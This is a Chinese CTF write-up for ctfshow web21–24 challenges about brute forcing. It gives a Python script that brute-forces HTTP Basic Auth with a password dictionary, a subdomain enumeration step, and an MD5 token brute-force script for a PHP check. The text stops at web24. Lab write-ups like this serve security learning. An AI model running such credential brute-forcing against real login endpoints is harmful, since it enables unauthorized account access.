ctfshow-web入门-爆破（web21-web24）

目录

1、web21
2、web22
3、web23
4、web24

---

1、web21

1. 爆破什么的，都是基操

复制代码

需要认证才气访问

随便输一个用户名和密码抓包看看：
多出来一个认证的头 Authorization: Basic YWRtaW46MTIzNDU2

base64 解码看看：
就是我们刚才输入的用于测试的用户名和密码

发到攻击模块进行爆破，设置爆破的位置

有限载荷选择自定义迭代器，因为它这里的用户名和密码合并在了一起，使用冒号隔开的，假如是相互独立的参数，多个参数我们会采用其他的攻击模式而不是使用狙击手。

设置位置一：用户名（着实一般我们猜都是猜 admin ）

设置位置二：冒号

设置位置三：密码
我这里最开始用字典没爆破出来，看了它的提示，密码是 shark63（这里紧张是做测试）

之后我们需要对 payload 进行base64 编码 

注意这里需要将 URL 编码取消掉：

检察爆破效果，筛选长度不同的：YWRtaW46c2hhcms2Mw==

解码为：

登录：

拿到 flag：ctfshow{1ccf243b-8b20-4db4-b956-8c571066c0c5}
参考了一下它这个代码，有点问题：

本身重新写了个简单的：此中 test.txt 是我们自定义的一个密码字典

1. import requests
2. import base64
4. url = 'https://bc4afed2-ccc8-4ecc-a665-be5a5420435c.challenge.ctf.show/'
6. with open("test.txt", "r") as f:
7.     for i in f:
8.         i = i.strip()
9.         payload = "admin:"+i
10.         header = {"Authorization": "Basic {}".format(base64.b64encode(payload.encode()).decode())}
11.         # payload.encode() 将字符串 payload 转换为字节串
12.         re = requests.get(url, headers=header)
13.         # print(re.status_code)
14.         if re.status_code == 200:
15.             print(re.text)

复制代码

运行即可拿到 flag：ctfshow{3233c118-e8d4-461e-aba5-ba801a420a31}

2、web22

1. 域名也可以爆破的，试试爆破这个ctf.show的子域名

复制代码

flag.ctf.show 页面无法访问（前面有一个查这个域名的 DNS 的 TXT信息的题也是有问题）
使用 layer 挖一下 ctf.show 的子域名

网上说是在 vip.ctf.show ，将鼠标悬停在标题处，但是我试了一下现在已经不可了

flag 为：flag{ctf_show_web}

3、web23

1. 还爆破？这么多代码，告辞！

复制代码

php 函数介绍：
（1）intval 函数用于将变量转换为整数
示例：

1. echo intval("42"); // 输出 42
2. echo intval("42abc"); // 输出 42
3. echo intval("abc42"); // 输出 0

复制代码

（2）substr 函数用于从字符串中提取子字符串
用法：

1. $substring = substr($string, $start, $length);

复制代码

参数说明：
string：要提取子字符串的字符串。
start：开始位置，从 0 开始。假如是负数，则从字符串末尾开始盘算位置。
length（可选）：提取的子字符串长度。假如省略，则提取从 start 到字符串末尾的所有字符。 
示例：

1. echo substr("Hello, world!", 4);
2. echo substr("Hello, world!", 4, 5);

复制代码

代码审计：
以 get 方式提交参数 token；
md5($_GET['token']) 会将 token 参数转换为一个 32 字符的十六进制字符串；
substr($token, 1,1) === substr($token, 14,1) && substr($token, 14,1) === substr($token, 17,1)
比较 MD5 哈希的第 2、15 和 18 个字符是否相同；
(intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1) === intval(substr($token, 31,1)) 将第 2、15 和 18 个字符转换为整数相加，再除以第 2 个字符的整数值，查抄效果是否即是第 32 个字符的整数值；
上述条件都满足则会输出 flag。
写个Python 脚原来遍历出符合要求的字符串：

1. import hashlib
2. import itertools
5. def check_token(token):
6.     """
7.     检查给定的 token 是否符合特定的条件。
8.     1. token 的 MD5 哈希值的第 2、15 和 18 个字符相同。
9.     2. 这些字符的整数值与第 32 个字符满足特定的算术关系。
10.     """
11.     hashed_token = hashlib.md5(token.encode()).hexdigest()
13.     # 条件1：检查第 2、15 和 18 个字符是否相同
14.     if not (hashed_token[1] == hashed_token[14] == hashed_token[17]):
15.         return False
17.     # 条件2：检查特定的算术关系
18.     try:
19.         char1 = int(hashed_token[1])
20.         char31 = int(hashed_token[31])
22.         # 避免除零错误
23.         if char1 == 0:
24.             return False
26.         if (3 * char1) / char1 == char31:
27.         # 第 2、15 和 18 个字符是相同的，因此它们转成整数值也是相同的，所以直接用 3 倍关系
28.             return True
29.     except ValueError:
30.         return False
32.     return False
34. # 定义包含所有字母和数字的字符集
35. characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
37. # 遍历所有可能的组合（这里以长度为1到5为例，可以根据需要调整）
38. for length in range(1, 6):  # 尝试长度从 1 到 5 的组合
39.     for candidate in (''.join(c) for c in itertools.product(characters, repeat=length)):
40.         if check_token(candidate):
41.             print(f"符合条件的 token 是: {candidate}")
42.             break  # 找到符合条件的 token 后停止
43.     else:
44.         continue  # 如果内循环没有中断，则继续外循环
45.     break  # 找到符合条件的 token 后，退出外循环
46. else:
47.     print("没有找到符合条件的 token")  # 如果所有组合都不符合条件，输出消息

复制代码

 构造 payload：?token=ZE

拿到 flag：ctfshow{3ee12286-7b8f-4962-bf3c-ebbc8c04ce10}

4、web24

[code]爆个